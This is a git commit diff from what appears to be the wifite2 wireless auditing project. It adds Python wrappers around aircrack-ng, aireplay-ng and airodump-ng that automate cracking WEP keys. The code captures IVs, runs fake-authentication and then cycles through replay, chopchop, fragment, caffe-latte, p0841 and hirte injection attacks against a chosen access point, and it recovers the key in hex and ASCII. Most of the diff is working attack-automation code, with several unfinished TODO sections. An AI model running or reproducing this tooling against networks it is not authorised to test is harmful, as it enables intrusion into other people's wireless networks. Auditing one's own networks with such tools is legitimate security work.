Working on getting WEP attacks finished

Lots of small fixes/tweaks/changes.
This commit is contained in:
derv82
2015-05-31 02:28:54 -07:00
parent e4dc646688
commit 35de5ea8a6
11 changed files with 271 additions and 55 deletions

71
py/Aircrack.py Normal file
View File

@@ -0,0 +1,71 @@
#!/usr/bin/python
from Process import Process
from Configuration import Configuration
import os
class Aircrack(object):
def __init__(self, ivs_file):
self.cracked_file = Configuration.temp() + 'wepkey.txt'
# Delete previous cracked files
if os.path.exists(self.cracked_file):
os.remove(self.cracked_file)
command = [
'aircrack-ng',
'-a', '1',
'-l', self.cracked_file,
ivs_file
]
self.pid = Process(command, devnull=True)
def is_running(self):
return self.pid.poll() == None
def is_cracked(self):
return os.path.exists(self.cracked_file)
def get_key_hex_ascii(self):
if not self.is_cracked():
raise Exception('Cracked file not found')
f = open(self.cracked_file, 'r')
hex_raw = f.read()
f.close()
hex_key = ''
ascii_key = ''
while len(hex_raw) > 0:
if hex_key != '':
hex_key += ':'
hex_key += hex_raw[0:2]
# Convert hex to decimal
code = int(hex_raw[0:2], 16)
if code < 32 or code > 127:
# Hex key is non-printable in ascii
ascii_key = None
continue
elif ascii_key == None:
continue
# Convert decimal to char
ascii_key += chr(code)
hex_raw = hex_raw[2:]
return (hex_key, ascii_key)
if __name__ == '__main__':
from time import sleep
Configuration.initialize()
a = Aircrack('tests/files/wep-crackable.ivs')
while a.is_running():
sleep(1)
if a.is_cracked():
print "cracked!"
print '(hex, ascii) =', a.get_key_hex_ascii()
else:
print "Not cracked"
Configuration.exit_gracefully(0)

View File

@@ -49,14 +49,15 @@ class WEPAttackType(object):
class Aireplay(object): class Aireplay(object):
def __init__(self, target, attack_type): def __init__(self, target, attack_type, client_mac=None):
''' '''
Starts aireplay process. Starts aireplay process.
Args: Args:
target - Instance of Target object, AP to attack. target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance. attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
''' '''
cmd = Aireplay.get_aireplay_command(target, attack_type) cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac)
self.pid = Process(cmd, devnull=False) self.pid = Process(cmd, devnull=False)
def is_running(self): def is_running(self):
@@ -72,12 +73,13 @@ class Aireplay(object):
return self.pid.stdout() return self.pid.stdout()
@staticmethod @staticmethod
def get_aireplay_command(target, attack_type): def get_aireplay_command(target, attack_type, client_mac=None):
''' '''
Generates aireplay command based on target and attack type Generates aireplay command based on target and attack type
Args: Args:
target - Instance of Target object, AP to attack. target - Instance of Target object, AP to attack.
attack_type - int, str, or WEPAttackType instance. attack_type - int, str, or WEPAttackType instance.
client_mac - MAC address of an associated client.
''' '''
# Interface is required at this point # Interface is required at this point
@@ -87,8 +89,9 @@ class Aireplay(object):
cmd = ['aireplay-ng'] cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one') cmd.append('--ignore-negative-one')
client_mac = None
if len(target.clients) > 0: if not client_mac and len(target.clients) > 0:
# Client MAC wasn't specified, but there's an associated client. Use that.
client_mac = target.clients[0].station client_mac = target.clients[0].station
# type(attack_type) might be str, int, or WEPAttackType. # type(attack_type) might be str, int, or WEPAttackType.
@@ -101,10 +104,8 @@ class Aireplay(object):
cmd.extend(['-T', '1']) # Make 1 attemp cmd.extend(['-T', '1']) # Make 1 attemp
if target.essid_known: if target.essid_known:
cmd.extend(['-e', target.essid]) cmd.extend(['-e', target.essid])
# Do not specify client MAC address,
# TODO Should we specify the source MAC as a client station? # we're trying to fake-authenticate using *our* MAC
#if client_mac:
# cmd.extend(['-h', client_mac])
elif attack_type == WEPAttackType.replay: elif attack_type == WEPAttackType.replay:
cmd.append('--arpreplay') cmd.append('--arpreplay')
@@ -173,9 +174,17 @@ if __name__ == '__main__':
print t.name, type(t.name), t.value print t.name, type(t.name), t.value
from Target import Target from Target import Target
fields = 'AA:BB:CC:DD:EE:FF, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 1, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, HOME-ABCD, '.split(',') fields = 'A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e, WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, '.split(',')
t = Target(fields) t = Target(fields)
cmd = Aireplay.get_aireplay_command(t, 'fakeauth') cmd = Aireplay.get_aireplay_command(t, 'fakeauth')
print ' '.join(['"%s"' % a for a in cmd]) print ' '.join(['"%s"' % a for a in cmd])
'''
aireplay = Aireplay(t, 'replay')
while aireplay.is_running():
from time import sleep
sleep(0.1)
print aireplay.get_output()
'''

View File

@@ -104,7 +104,7 @@ class Airmon(object):
@staticmethod @staticmethod
def stop(iface): def stop(iface):
# TODO (this) # TODO airmon-ng stop iface
pass pass
@@ -127,21 +127,40 @@ class Airmon(object):
interfaces.append(iface) interfaces.append(iface)
return interfaces return interfaces
@staticmethod
if __name__ == '__main__': def ask():
''' Asks user to define which wireless interface to use '''
mon_ifaces = Airmon.get_interfaces_in_monitor_mode() mon_ifaces = Airmon.get_interfaces_in_monitor_mode()
mon_count = len(mon_ifaces)
if mon_count == 1:
# Assume we're using the device already in montior mode
iface = mon_ifaces[0]
Color.pl('{+} using interface {G}%s{W} which is already in monitor mode'
% iface);
return iface
a = Airmon() a = Airmon()
a.print_menu() a.print_menu()
count = len(a.interfaces) count = len(a.interfaces)
question = Color.s("Select interface ({G}1-%d{W}): " % (count)) if count == 0:
# No interfaces found
Color.pl('{!} {O}airmon-ng did not find {R}any{O} wireless interfaces')
raise Exception('airmon-ng did not find any wireless interfaces')
elif count == 1:
# Only one interface, assume this is the one to use
iface = a.get(1)
else:
# Multiple interfaces found
question = Color.s("{+} select interface ({G}1-%d{W}): " % (count))
choice = raw_input(question) choice = raw_input(question)
iface = a.get(choice) iface = a.get(choice)
Color.pl("You chose: {G}%s{W}" % iface.name)
if a.get(choice).name in mon_ifaces: if a.get(choice).name in mon_ifaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
else: else:
Airmon.start(iface) Airmon.start(iface)
#a.start(a.interfaces[0]) return iface.name
if __name__ == '__main__':
Airmon.ask()

View File

@@ -11,7 +11,9 @@ import os
class Airodump(object): class Airodump(object):
''' Wrapper around airodump-ng program ''' ''' Wrapper around airodump-ng program '''
def __init__(self, interface=None, channel=None, encryption=None, wps=False, target_bssid=None, output_file_prefix='airodump'): def __init__(self, interface=None, channel=None, encryption=None, \
wps=False, target_bssid=None, output_file_prefix='airodump', \
ivs_only=False):
''' Constructor, sets things up ''' ''' Constructor, sets things up '''
Configuration.initialize() Configuration.initialize()
@@ -33,6 +35,8 @@ class Airodump(object):
self.target_bssid = target_bssid self.target_bssid = target_bssid
self.output_file_prefix = output_file_prefix self.output_file_prefix = output_file_prefix
self.ivs_only = ivs_only
def __enter__(self): def __enter__(self):
''' '''
@@ -59,6 +63,11 @@ class Airodump(object):
if self.target_bssid: if self.target_bssid:
command.extend(['--bssid', self.target_bssid]) command.extend(['--bssid', self.target_bssid])
if self.ivs_only:
command.extend(['--output-format', 'ivs,csv'])
else:
command.extend(['--output-format', 'pcap,csv'])
# Start the process # Start the process
self.pid = Process(command, devnull=True) self.pid = Process(command, devnull=True)
return self return self
@@ -75,20 +84,28 @@ class Airodump(object):
# Delete temp files # Delete temp files
self.delete_airodump_temp_files() self.delete_airodump_temp_files()
def delete_airodump_temp_files(self):
''' Deletes airodump* files in the temp directory ''' def find_files(self, endswith=None):
''' Finds all files in the temp directory that start with the output_file_prefix '''
result = []
for fil in os.listdir(Configuration.temp()): for fil in os.listdir(Configuration.temp()):
if fil.startswith(self.output_file_prefix): if fil.startswith(self.output_file_prefix):
os.remove(Configuration.temp() + fil) if not endswith or fil.endswith(endswith):
result.append(Configuration.temp() + fil)
return result
def delete_airodump_temp_files(self):
''' Deletes airodump* files in the temp directory '''
for fil in self.find_files():
os.remove(fil)
def get_targets(self): def get_targets(self):
''' Parses airodump's CSV file, returns list of Targets ''' ''' Parses airodump's CSV file, returns list of Targets '''
# Find the .CSV file # Find the .CSV file
csv_filename = None csv_filename = None
for fil in os.listdir(Configuration.temp()): for fil in self.find_files(endswith='-01.csv'):
if fil.startswith(self.output_file_prefix) and fil.endswith('-01.csv'):
# Found the file # Found the file
csv_filename = Configuration.temp() + fil csv_filename = fil
break break
if csv_filename == None or not os.path.exists(csv_filename): if csv_filename == None or not os.path.exists(csv_filename):
# No file found # No file found

View File

@@ -1,5 +1,7 @@
#!/usr/bin/python #!/usr/bin/python
import time
class Attack(object): class Attack(object):
''' '''
Contains functionality common to all attacks Contains functionality common to all attacks

View File

@@ -4,6 +4,7 @@ from Attack import Attack
from Airodump import Airodump from Airodump import Airodump
from Aireplay import Aireplay, WEPAttackType from Aireplay import Aireplay, WEPAttackType
from Configuration import Configuration from Configuration import Configuration
from Interface import Interface
from Color import Color from Color import Color
import time import time
@@ -26,20 +27,85 @@ class AttackWEP(Attack):
# First, start Airodump process # First, start Airodump process
with Airodump(channel=self.target.channel, with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid, target_bssid=self.target.bssid,
ivs_only=True, # Only capture IVs packets
output_file_prefix='wep') as airodump: output_file_prefix='wep') as airodump:
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
for attack_num in xrange(1, 6): if self.fake_auth():
# We successfully authenticated!
# Use our interface's MAC address for the attacks.
client_mac = Interface.get_mac()
elif len(airodump_target.clients) == 0:
# There are no associated clients. Warn user.
Color.pl('{!} {O}there are no associated clients{W}')
Color.pl('{!} {R}WARNING: {O}many attacks will not succeed' +
' without fake-authentication or associated clients{W}')
client_mac = None
else:
client_mac = airodump_target.clients[0].station
aircrack = None # Aircrack process, not started yet
wep_attack_types = [
'replay',
'chopchop',
'fragment',
'caffelatte',
'p0841',
'hirte'
]
for attack_name in wep_attack_types:
# Convert to WEPAttackType.
wep_attack_type = WEPAttackType(attack_name)
# Start Aireplay process.
aireplay = Aireplay(self.target, \
wep_attack_type, \
client_mac=client_mac)
# Loop until attack completes.
while True:
airodump_target = self.wait_for_target(airodump)
Color.p('\r{+} WEP attack {C}%s{W} ({G}%d IVs{W}) '
% (attack_name, airodump_target.ivs))
# TODO: Check if we cracked it.
# if aircrack and aircrack.cracked():
# Check number of IVs, crack if necessary
if airodump_target.ivs > Configuration.wep_crack_at_ivs:
# TODO:
# 1. Check if we're already trying to crack:
# aircrack and aircrack.is_running()
# 2. If not, start cracking:
# aircrack = Aircrack(airodump_target, capfile)
pass pass
#aireplay = Aireplay(self.target, attack_num)
''' if not aireplay.is_running():
TODO (pending until I get a router to test on) # Some Aireplay attacks loop infinitely
* Wait for IVS to start flowing, e.g. sleep(1). if attack_name == 'chopchop' or attack_name == 'fragment':
* if IVS > threshold, start cracking. print '\nChopChop stopped, output:'
* Check aireplay.is_running() to see if it completed/failed. print aireplay.get_output()
* Continue attacks depending on aireplay status. # We expect these to stop once a .xor is created
''' # TODO:
# Check for .xor file.
# If it's not there, the process failed. Check stdout.
# If xor exists, run packetforge-ng on it.
# If packetforge created the .cap file to replay, then replay it
# Change attack_name to 'forged arp replay'
# Start Aireplay by replaying the cap file
pass
else:
print '\naireplay.get_output() =', aireplay.get_output()
raise Exception('Aireplay exited unexpectedly')
# TODO:
# Replay: Check if IVS stopped flowing (same for > 20 sec)
# If so, restart the Replay attack.
time.sleep(1)
continue
def fake_auth(self): def fake_auth(self):
@@ -48,6 +114,8 @@ class AttackWEP(Attack):
Returns: True if successful, Returns: True if successful,
False is unsuccesful. False is unsuccesful.
''' '''
Color.p('{+} attempting {G}fake-authentication{W} with {C}%s{W}...'
% self.target.bssid)
start_time = time.time() start_time = time.time()
aireplay = Aireplay(self.target, 'fakeauth') aireplay = Aireplay(self.target, 'fakeauth')
process_failed = False process_failed = False
@@ -56,7 +124,7 @@ class AttackWEP(Attack):
aireplay.stop() aireplay.stop()
process_failed = True process_failed = True
break break
time.sleep(1) time.sleep(0.1)
# Check if fake-auth was successful # Check if fake-auth was successful
if process_failed: if process_failed:
@@ -66,8 +134,9 @@ class AttackWEP(Attack):
fakeauth = 'association successful' in output.lower() fakeauth = 'association successful' in output.lower()
if fakeauth: if fakeauth:
Color.pl('{+} {G}fake-authentication successful{W}') Color.pl(' {G}success{W}')
else: else:
Color.pl(' {R}failed{W}')
if Configuration.require_fakeauth: if Configuration.require_fakeauth:
# Fakeauth is requried, fail # Fakeauth is requried, fail
raise Exception( raise Exception(
@@ -86,9 +155,8 @@ class AttackWEP(Attack):
if __name__ == '__main__': if __name__ == '__main__':
from Target import Target from Target import Target
fields = "30:85:A9:39:D2:18, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54, WPA2, CCMP TKIP,PSK, -58, 2, 0, 0. 0. 0. 0, 9, Uncle Router's Gigabit LAN Party, ".split(',') fields = "A4:2B:8C:16:6B:3A, 2015-05-27 19:28:44, 2015-05-27 19:28:46, 6, 54e,WEP, WEP, , -58, 2, 0, 0. 0. 0. 0, 9, Test Router Please Ignore, ".split(',')
target = Target(fields) target = Target(fields)
wep = AttackWEP(target) wep = AttackWEP(target)
wep.fake_auth() wep.run()

View File

@@ -19,8 +19,8 @@ class Color(object):
# Helper string replacements # Helper string replacements
replacements = { replacements = {
'{+}': '{W}[{G}+{W}]', '{+}': ' {W}[{G}+{W}]',
'{!}': '{W}[{R}!{W}]' '{!}': ' {W}[{R}!{W}]'
} }
@staticmethod @staticmethod

View File

@@ -30,8 +30,9 @@ class Configuration(object):
# WEP variables # WEP variables
Configuration.wep_only = False # Only attack WEP networks Configuration.wep_only = False # Only attack WEP networks
Configuration.wep_pps = 6000 # Packets per second Configuration.wep_pps = 600 # Packets per second
Configuration.wep_timeout = 600 # Seconds to wait before failing Configuration.wep_timeout = 600 # Seconds to wait before failing
Configuration.wep_crack_at_ivs = 10000 # Minimum IVs to start cracking
Configuration.require_fakeauth = False Configuration.require_fakeauth = False
# WEP-specific attacks # WEP-specific attacks
Configuration.wep_fragment = True Configuration.wep_fragment = True
@@ -82,6 +83,11 @@ class Configuration(object):
if args.wordlist: Configuration.wordlist = args.wordlist if args.wordlist: Configuration.wordlist = args.wordlist
if args.require_fakeauth: Configuration.require_fakeauth = False if args.require_fakeauth: Configuration.require_fakeauth = False
if Configuration.interface == None:
# Interface wasn't defined, select it!
from Airmon import Airmon
Configuration.interface = Airmon.ask()
@staticmethod @staticmethod
def temp(): def temp():

View File

@@ -68,3 +68,26 @@ class Interface(object):
s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN) s += '-' * (Interface.PHY_LEN + Interface.NAME_LEN + Interface.DRIVER_LEN + Interface.CHIPSET_LEN)
return s return s
@staticmethod
def get_mac(iface=None):
from Configuration import Configuration
from Process import Process
import re
if iface == None:
Configuration.initialize()
iface = Configuration.interface
if iface == None:
raise Exception('Interface must be defined (-i)')
output = Process(['ifconfig', iface]).stdout()
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search('HWaddr (%s)' % mac_regex, output)
if not match:
raise Exception('Could not find the mac address for %s' % iface)
return match.groups()[0].replace('-', ':')
if __name__ == '__main__':
mac = Interface.get_mac()
print 'wlan0mon mac address:', mac

View File

@@ -121,8 +121,8 @@ class Scanner(object):
if __name__ == '__main__': if __name__ == '__main__':
Configuration.initialize()
# Example displays targets and selects the appropriate one # Example displays targets and selects the appropriate one
Configuration.initialize()
try: try:
s = Scanner() s = Scanner()
targets = s.select_targets() targets = s.select_targets()
@@ -133,3 +133,4 @@ if __name__ == '__main__':
Color.p("{W}Selected: ") Color.p("{W}Selected: ")
print t print t
Configuration.exit_gracefully(0) Configuration.exit_gracefully(0)

Binary file not shown.